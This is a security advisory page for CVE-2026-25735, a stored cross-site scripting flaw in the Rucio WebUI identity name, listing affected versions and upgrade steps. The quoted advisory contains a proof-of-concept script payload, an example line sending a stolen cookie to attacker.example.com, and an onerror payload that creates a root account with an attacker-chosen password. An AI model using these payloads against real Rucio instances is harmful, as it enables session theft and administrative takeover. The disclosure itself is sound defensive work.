CVE-2026-25735: Rucio webui Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-8wpv-6x3f-3rm5
CVSS 6.1
CWE-1004 CWE-79
Published
Advisory Summary

CVE-2026-25735 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag) affecting Rucio webui libraries in the PyPI ecosystem. The issue involves rucio webui has a stored cross-site scripting (xss) vulnerability its identity name. Remediation is available by upgrading affected packages to version 35.8.3, 38.5.4, 39.3.1.

CVE-2026-25735 at a Glance

CVE Identifier CVE-2026-25735
GHSA Identifier GHSA-8wpv-6x3f-3rm5
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
Affected Product Rucio webui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-25735

To remediate this vulnerability, upgrade all affected Rucio webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rucio-webui fixed: 35.8.3
pip install rucio-webui>=35.8.3
rucio-webui fixed: 38.5.4
pip install rucio-webui>=38.5.4
rucio-webui fixed: 39.3.1
pip install rucio-webui>=39.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show rucio-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-25735, inspect your installed packages using pip:

pip show rucio-webui

Analyze the terminal output to locate any version of Rucio webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 35.8.3), your application is affected.

Note: The pip show rucio-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag, where the product uses a cookie to store sensitive information, but the cookie is not marked with the httponly flag. In Rucio webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details The identity name is stored and later rendered without output encoding. **Create Path**: Admin > Account Management > _ACCOUNT NAME_ > Add Account Identity **Trigger Path**: Admin > Account Management > _ACCOUNT NAME_ (`https://127.0.0.1:8443/ui/account?account=pentest`) **Request** ```http POST /proxy/accounts/pentest/identities HTTP/1.1 ... {"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"} ``` **Response** ```http HTTP/1.1 201 CREATED ... Created ``` **Storing XSS payload in account identity name** <img width="1385" height="807" alt="Storing XSS payload in account identity name" src="https://github.com/user-attachments/assets/e4209ef4-fd88-492f-9fb0-afb7d04b15ce" /> **Triggering XSS payload when viewing account** <img width="1395" height="745" alt="Triggering XSS payload when viewing account" src="https://github.com/user-attachments/assets/e6217669-a0f7-4aba-bb05-f4fb7049611c" /> --- ### Impact Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only. The impact is amplified by: - Session cookies that are accessible to JavaScript (missing HttpOnly flag). - API tokens exposed to the WebUI via JavaScript variables. An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`). Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data. **XSS Payload to Create Root UserPass** ```html <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()> ``` --- ### Remediation / Mitigation All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping. Additional defense-in-depth measures include: - Enforcing a strict Content Security Policy (CSP). - Setting the HttpOnly flag on session cookies. - Avoiding exposure of API tokens in JavaScript-accessible variables. > Note that many pages were found setting the API token as `token` in an authenticated response like `var token = "root-root-webui-...:"` (See `/ui/list_accounts` for example) --- ### References - OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

CVE-2026-25735 Affected Rucio webui Versions

3 component(s)
Fixed Versions:
35.8.338.5.439.3.1
Product / Package Ecosystem Affected Versions Fixed Version
rucio-webui
PyPI
< 35.8.3
35.8.3
rucio-webui
PyPI
≥ 36.0.0rc1
< 38.5.4
38.5.4
rucio-webui
PyPI
≥ 39.0.0rc1
< 39.3.1
39.3.1

References

Frequently Asked Questions

What is CVE-2026-25735?
CVE-2026-25735 is a security vulnerability in Rucio webui involving Rucio WebUI has a Stored Cross-site Scripting (XSS) vulnerability its Identity Name under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag.
Which Rucio webui versions are affected?
Affected versions include releases prior to 35.8.3, 38.5.4, 39.3.1 across affected packages: rucio-webui.
What version fixes CVE-2026-25735?
Upgrading to 35.8.3, 38.5.4, 39.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rucio-webui affected?
Yes, rucio-webui is affected in releases prior to 35.8.3, 38.5.4, 39.3.1. Upgrade your dependency to 35.8.3, 38.5.4, 39.3.1 or later.
What is the CVSS score of CVE-2026-25735?
CVE-2026-25735 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-25735?
CVE-2026-25735 is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.).
How can I check PyPI dependencies for CVE-2026-25735?
Run the dependency tree command: 'pip show rucio-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8wpv-6x3f-3rm5",
  "modified" : "2026-02-27T21:50:24Z",
  "published" : "2026-02-25T19:29:37Z",
  "aliases" : [ "CVE-2026-25735" ],
  "summary" : "Rucio WebUI has a Stored Cross-site Scripting (XSS) vulnerability its Identity Name",
  "details" : "### Summary\nA stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.\n\n---\n### Details\nThe identity name is stored and later rendered without output encoding.\n\n**Create Path**:  \nAdmin > Account Management > _ACCOUNT NAME_ > Add Account Identity\n\n**Trigger Path**:  \nAdmin > Account Management > _ACCOUNT NAME_  \n(`https://127.0.0.1:8443/ui/account?account=pentest`)\n\n**Request**\n```http\nPOST /proxy/accounts/pentest/identities HTTP/1.1\n...\n{\"identity\":\"<script>alert(document.cookie)</script>\",\"authtype\":\"SSH\",\"email\":\"Test\"}\n```\n\n**Response**\n```http\nHTTP/1.1 201 CREATED\n...\nCreated\n```\n\n**Storing XSS payload in account identity name**\n<img width=\"1385\" height=\"807\" alt=\"Storing XSS payload in account identity name\" src=\"https://github.com/user-attachments/assets/e4209ef4-fd88-492f-9fb0-afb7d04b15ce\" />\n\n**Triggering XSS payload when viewing account**\n<img width=\"1395\" height=\"745\" alt=\"Triggering XSS payload when viewing account\" src=\"https://github.com/user-attachments/assets/e6217669-a0f7-4aba-bb05-f4fb7049611c\" />\n\n---\n### Impact\nAny authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.\n\nThe impact is amplified by:\n- Session cookies that are accessible to JavaScript (missing HttpOnly flag).\n- API tokens exposed to the WebUI via JavaScript variables.\n\nAn attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e `GET https://attacker.example.com/rucio/{BASE64_COOKIE}`).\n\nAttackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.\n\n**XSS Payload to Create Root UserPass**\n```html\n<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>\n```\n\n---\n### Remediation / Mitigation\nAll client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as `.html()` should be avoided unless the content is explicitly sanitized. Safer alternatives include `.text()`, creating text nodes, or using a templating system that enforces automatic escaping.\n\nAdditional defense-in-depth measures include:\n- Enforcing a strict Content Security Policy (CSP).\n- Setting the HttpOnly flag on session cookies.\n- Avoiding exposure of API tokens in JavaScript-accessible variables.\n\n> Note that many pages were found setting the API token as `token` in an authenticated response like `var token = \"root-root-webui-...:\"` (See `/ui/list_accounts` for example)\n\n---\n### References\n- OWASP XSS Prevention Cheat Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"
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  } ],
  "references" : [ {
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    "url" : "https://github.com/rucio/rucio/security/advisories/GHSA-8wpv-6x3f-3rm5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25735"
  }, {
    "type" : "WEB",
    "url" : "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
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    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/35.8.3"
  }, {
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    "url" : "https://github.com/rucio/rucio/releases/tag/38.5.4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/releases/tag/39.3.1"
  } ],
  "database_specific" : {
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    "nvd_published_at" : "2026-02-25T20:23:48Z"
  }
}